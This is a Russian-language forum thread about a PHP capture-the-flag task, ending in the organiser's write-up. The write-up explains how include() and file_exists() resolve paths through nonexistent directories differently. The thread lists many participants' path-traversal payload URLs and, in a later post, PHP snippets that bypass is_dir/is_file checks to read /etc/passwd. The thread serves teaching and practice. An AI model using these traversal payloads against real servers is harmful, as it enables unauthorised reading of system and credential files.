ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.io/forumdisplay.php?f=112)
-   -   Task #1 (https://forum.antichat.io/showthread.php?t=467350)

dooble 18.12.2018 10:20

Цитата:

Сообщение от grellario

Господа, а следующий таск только после оглашения результатов этого, да? Очень хочу ещё :3

Два таска одновременно запускать не очень хорошо.

Скорее всего после НГ, на праздники не всем будет интересно сидеть за компом.

Stepan999 18.12.2018 16:21

Готово.

holdik 18.12.2018 22:36

Вообще изи )

Прошел.

crabovwik 19.12.2018 09:57

Сделано. Спасибо!

BadScrIPt 19.12.2018 16:29

Прошел, ждем-с продолжения

daemon_mors 19.12.2018 17:46

Прошел

leksadin 20.12.2018 16:28

done

spiner 20.12.2018 18:59

изи

-=4ekiSt=- 21.12.2018 10:55

Прошел

cerber3000 22.12.2018 11:16

прошел

to the moon 22.12.2018 13:08

.done

=HALK= 22.12.2018 13:30

Прошёл

shell_c0de 22.12.2018 14:02

71***be6

Octavian 22.12.2018 15:53

Done

rudi 22.12.2018 16:10

блин, а у меня не получается... по идее нужно как то обмануть file_exists

Если написать http://task.antichat.com:10001/?f=../flag.php

то обманывается, но тогда include не срабатывает ибо путь не верный

dooble 22.12.2018 16:28

Цитата:

Сообщение от rudi

блин, а у меня не получается... по идее нужно как то обмануть file_exists
Если написать
http://task.antichat.com:10001/?f=../flag.php
то обманывается, но тогда include не срабатывает ибо путь не верный

Могу сказать две вещи: это не последний проверенный тобой вариант и что правильный ответ не один, а число правильных ответов примерно равно бесконечности.

Найдешь обязательно.

grimnir 22.12.2018 18:33

Цитата:

Сообщение от rudi

блин, а у меня не получается... по идее нужно как то обмануть file_exists
Если написать
http://task.antichat.com:10001/?f=../flag.php
то обманывается, но тогда include не срабатывает ибо путь не верный

повнимательнее просто прочитайте как работает basename )

t0ma5 22.12.2018 19:25

file_exists не нормализует путь, ему вроде как только прочекать надо что файл есть и на остальное пофиг

ps много народу прошло, пусть будет хинт

qwaszx000 22.12.2018 21:22

Надо же, прошёл с телефона.

rudi 23.12.2018 13:25

Хм... подскажите, почему такой код не срабатывает?

Код:

include('./flag.php\x0/flag.php');
Ведь здесь имеем \x0 который якобы должен обрезать строку

topthing 23.12.2018 16:52

+done

topthing 23.12.2018 16:55

Цитата:

Сообщение от rudi

Хм... подскажите, почему такой код не срабатывает?
Код:

include('./flag.php\x0/flag.php');
Ведь здесь имеем
\x0
который якобы должен обрезать строку

Во первых не \x0, а \x00. Во вторых PHP в одинарных кавычках hex символы не распознает, нужны двойные. В третьих в PHP строки уже давно binary-safe и такие древние техники не работают.

dooble 23.12.2018 18:56

Начнем с того, что задание не закрыто и вопросы если и нужно задавать, то не в этой теме.

Но мы только начинаем и только учимся решать задания, поэтому пока сделаем исключение:

- и потому, что ядовитый ноль в инклюдах, уже в версии 5.3.4 был пропатчен (в 5.3.3.8 уже не работал ), а таск работает на версии 7.2.13.

dooble 26.12.2018 13:34

Для тех, кто прошел и не знает чем заняться.

Решение под виндовс отличается от решения под nix.

По некоторым причинам не стал его рекомендовать.

Но вот вчера хакеры повтыкали и говорят, что вполне себе весело.

Кстати cerber3000 прислал оба прохождения.

Задание закроем 28.12.2018.

FriLL 27.12.2018 02:53

Пройдено

DartPhoenix 27.12.2018 15:26

Больше часа ушло...

Пойду голову пеплом посыплю

rudi 27.12.2018 21:41

А я пока не прошел... блин

DartPhoenix 27.12.2018 21:51

Цитата:

Сообщение от rudi

А я пока не прошел... блин

Лучше проходи. А то как расскажут тебе чо там было - ты себе пепла не только на голову насыплешь, ты и в штаны его себе напихаешь

dooble 28.12.2018 15:27

Задание закрыто.

Посмотрим еще раз на код.

Первая строчка не сильно влияет на прохождение, но экономит время, отсеивая варианты с манипуляциями в имени файла.

Ну и спасает интернеты от глобального похека, поскольку хакеры не остановятся только на решении таска, а обязательно доведут до rce, потом порутают систему, а когда поймут, что в докере - будут выбираться в хостовую систему.

А там опять - рут, соседи, креды, интернет.

Теперь две строчки, которые составляют суть задания

Код:

if(file_exists($flag)){
    echo("Sorry, this file is protected");
}else {
    include($flag);
}

Для программиста (как правильно заметил crlf) они не имеют смысла, файл можно проинклюдить только в том случае, если функция file_exists() не найдет его.

А ее единственное предназначение, как раз и проверять существование указанного файла или каталога.

Логика простая и железная, не обойти.

Тупик, опечатка, или что это?

А это именно то пространство, в котором может работать хакер.

Дьявол кроется в деталях.

И в этих деталях обнаруживается другая логика, с которой уже можно работать.

Оказывается include и file_exists используют не совсем одинаковые алгоритмы поиска

.SpoilerTarget" type="button">Spoiler: url
и запрос

http://task.antichat.com:10001/?f=No...ir/../flag.php

выполнит скрипт flag.php.

Все дело в том, что инклюд в никсах работает и через несуществующий каталог (большинство знают это на собственном опыте), если после нормализации пути файл существует.

А вот file_exists требует существования всех каталогов в пути.

И этот баг известен аж с 2004 года.

И не в узких кругах, если спросим у Гугла "bypass file_exists", то в топе получаем документ

.SpoilerTarget" type="button">Spoiler: Документ
https://seclists.org/fulldisclosure/2004/Feb/82

Можно конечно встать на защиту разработчиков: нормально же, include нашел файл, который мы запросили, да "ошиблись" немного в запросе, но "исправились" при помощи "../", вернулись на каталог выше и обнаружили нужный файл. Все нормально.

И, если бы мы, на месте разработчиков писали функцию file_exists(), мы бы тоже не разрешили ей ходить через несуществующий каталог.

Ну в самом деле: Что может существовать в несуществующем месте?
Но, как программистам, нам важно, чтобы обе эти конструкции искали файл одинаково и file_exists не имеет самостоятельной ценности, а только в сочетании с другими функциями (и конструкциями) работающими с ФС.

Поэтому баг, однозначно.

Часть прохождений была найдена с помощью Гугла, это видно по логам сервера, а часть повтыкали "честно".

Оба способа правильны, гуглить - быстрее, повтыкать - интереснее.

Под виндовс запрос получается другой, для его объяснения можно заглянуть в тему https://rdot.org/forum/showthread.php?t=926, она широко известна.

Для работы с файлами винда предоставляет поистине читерские возможности.

.SpoilerTarget" type="button">Spoiler: Прохождения участников

Цитата:

Сообщение от cat1vo

Цитата:

Сообщение от Alaich

Цитата:

Сообщение от Shubka75

Доброго времени суток
http://task.antichat.com:10001/index...rr/../flag.php

Цитата:

Сообщение от sinusu

Привет!
вот решение:
http://task.antichat.com:10001/?f=./ /../flag.php

Цитата:

Сообщение от ivanjinario

task.antichat.com:10001?f=1111/../flag.php

Цитата:

Сообщение от randomword0x3f52

Цитата:

Сообщение от st55

/?f=/,./../flag.php

Цитата:

Сообщение от istefy

Цитата:

Сообщение от grellario

Цитата:

Сообщение от grellario

Ещё три варианта:
1. Экринирование:
http://task.antichat.com:10001/index.php?f=./bar/../flag.php
2. Экранирование + wildcard:
http://task.antichat.com:10001/index.php?f=./*/../flag.php
3. Просто wildcard:
http://task.antichat.com:10001/index.../*/../flag.php

Цитата:

Сообщение от AbakBarama

Приветствую.
Решил так:
http://task.antichat.com:10001/?f=qq/../flag.php

Цитата:

Сообщение от VentaL74

Цитата:

Сообщение от BigBear

Цитата:

Сообщение от Gorbachev

http://task.antichat.com:10001/?f=glob://../flag.php
На этот раз действительно всё просто, в отличие от предыдущего твоего таска ))

Цитата:

Сообщение от Franky_T

Привет!
http://task.antichat.com:10001/?f=./html/../flag.php
Задание прикольное, спасибо)

Цитата:

Сообщение от danilkib95

Цитата:

Сообщение от fandor9

Цитата:

Сообщение от moontisth

task.antichat.com:10001/index.php?f=./sometxt/../flag.php

Цитата:

Сообщение от moontisth

task.antichat.com:10001/index.php?f=./sometxt/../flag.php

Цитата:

Сообщение от xmp

Цитата:

Сообщение от xmp

task.antichat.com:10001/?f=../../../var/www/html/./random/../flag.php
если быть течнее, для цтф не имеет значение но в реальном мире при инклуде важно знать пути

Цитата:

Сообщение от zpointer

Цитата:

Сообщение от grimnir

Цитата:

Сообщение от oleg_1va

Цитата:

Сообщение от MichelleBoxing

Цитата:

Сообщение от Jokero

Привет. Решил все-таки. Множество всего нового изучил. Спасибо!
http://prntscr.com/lw4qjb

Цитата:

Сообщение от Beast Force

Прошел?
Дело все таки в пути было, и знак ровно надо было добавить, а я долбился ./../flag.php
На выходе зашифрованная строчка... 718f17b43473d15b74201d9c9e537be6
http://task.antichat.com:10001/?f=./=/../flag.php
или так
http://task.antichat.com:10001/?f==/../flag.php

Цитата:

Сообщение от Coost

http://task.antichat.com:10001/?f=./glob/../flag.php
ХА!! ХАХАХАХ!!!!!! ХАААААААААААААААААААА

Цитата:

Сообщение от Jerri

Ну запрос очевидный просто) m/../flag.php )

Цитата:

Сообщение от daemon_mors

Цитата:

Сообщение от holdik

Цитата:

Сообщение от crabovwik

Цитата:

Сообщение от b3

http://task.antichat.com:10001/?f=/123/../flag.php
спасибо за фан, давайте есчо

Цитата:

Сообщение от Stepan999

Цитата:

Сообщение от roker777

Привет, спасибо за задание.
Ссылка на результат:
http://task.antichat.com:10001/?f=__DIR__/../flag.php

Цитата:

Сообщение от leksadin

Цитата:

Сообщение от spiner

Цитата:

Сообщение от -=4ekiSt=-

Цитата:

Сообщение от cerber3000

http://task.antichat.com:10001/index.php?f=
>../../flag.php
сори просто выполнял под виндой на open server-e там достаточно
index.php?f=/flag.php
index.php?f="/flag.php

Цитата:

Сообщение от to the moon

Цитата:

Сообщение от =HALK=

Цитата:

Сообщение от Octavian

Цитата:

Сообщение от qwaszx000

Цитата:

Сообщение от topthing

Цитата:

Сообщение от Swat2k

Привет, вот результат
http://task.antichat.com:10001/?f=./...../../flag.php
.
Надеюсь следующие задание будет чуть посложнее, обожаю головоломки

Цитата:

Сообщение от dais

f=abc/../flag.php

Цитата:

Сообщение от Strilo4ka

/threads/467350/
PHP код:

[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//task.antichat.com:10001/?f=/1/../flag.php[/COLOR][/COLOR] 


Цитата:

Сообщение от Strilo4ka

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//host/test/task1/?f="/flag.php
[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//host/test/task1/?f=/flag.php[/COLOR][/COLOR] 


Цитата:

Сообщение от FriLL

Цитата:

Сообщение от DartPhoenix

[QUOTE="man474019"]

[URL="http://task.antichat.com:10001/index.php?f=%22%3E%3C/flag.php"]http://task.antichat.com:10001/index.php?f=">

Итого.

Можно сказать две вещи:

- паблик жив.

- паблик рулит!

Собирается неплохая команда.

Думаю, что это еще не все, еще много кто подтянется.

Для тех, кто не решил. Не расстраивайтесь, заданий будет еще много, всяких и разных.

Кто подтянулся уже после закрытия задания, не спешите заглянуть под спойлер, пробуйте повтыкать, это интереснее, чем просто чтение.

И напоследок. Это очень простое задание, но из него можно извлечь уроки.

Мне бы хотелось, чтобы зашел такой: Хакер часто работает из такого места, который не прописан явно в коде, но из него можно оказывать влияние на результаты работы скриптов.

Я называю это: "В промежутках кода".

Но можно называть и по-другому, "Второе дно", "Dark Side of the Moon", не очень важно, как назвать, важно знать, что существует нечто такое, куда программисты не стремятся заглядывать, но там обитают хакеры и неплохо рулят в свою пользу.

Всем спасибо.

Удачи и хорошего Нового Года!

===

PS, ну и после закрытия задания уже не так строго относимся к содержимому постов и самое время поделиться впечатлениями, находками, своим представлением.

Может есть свое объяснение решениям таска.

b3 28.12.2018 15:59

Цитата:

Сообщение от dooble

Для работы с файлами винда предоставляет поистине читерские возможности.

В Линуксе тоже есть свои прелести с символами * и ?

cerber3000 28.12.2018 22:22

Прошу прощения, что открыл карты раньше времени. Думал что обсуждать можно как стукнет 28.12. За задание огромное спасибо!

qwaszx000 28.12.2018 23:01

Да, огромная благодарность автору.

Надеюсь будет ещё много заданий.

Всех с наступающим!

rudi 28.12.2018 23:04

Вот блин, а я подставлял хлам не на уровень ниже а на уровень выше...

Спасибо позновательно

dooble 29.12.2018 08:12

.SpoilerTarget" type="button">Spoiler: cerber3000 undelete

[QUOTE="cerber3000"]

вот некоторые из них, я предполагаю их больше но не проверял.
index.php?f=>../flag.php
index.php?f=<><><><>../flag.php
index.php?f=<><><><>

Baskin-Robbins 18.06.2021 11:47

К слову(на всякий случай добавлю), не только file_exist.

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]// php 7.3

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/../etc/"[/COLOR][COLOR="#007700"];
if([/
COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/aaaa/../"[/COLOR][COLOR="#007700"];
if([/
COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// nothing
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/../etc/passwd"[/COLOR][COLOR="#007700"];
if([/
COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/aaaa/../passwd"[/COLOR][COLOR="#007700"];
if([/
COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// nothing
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][/COLOR


CyberTro1n 29.06.2021 00:25

Цитата:

Сообщение от Baskin-Robbins

К слову(на всякий случай добавлю), не только file_exist.
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]// php 7.3

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/../etc/"[/COLOR][COLOR="#007700"];
if([/
COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/aaaa/../"[/COLOR][COLOR="#007700"];
if([/
COLOR][COLOR="#0000BB"]is_dir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// nothing
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'passwd'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/../etc/passwd"[/COLOR][COLOR="#007700"];
if([/
COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd

[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"/etc/aaaa/../passwd"[/COLOR][COLOR="#007700"];
if([/
COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"])){include[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"];}[/COLOR][COLOR="#FF8000"]// nothing
[/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// passwd
[/COLOR][/COLOR


Братец. Твои рыбатоты много стоят. Спасибо бро, Душевно, за наш малый городок, огромное!


Время: 23:02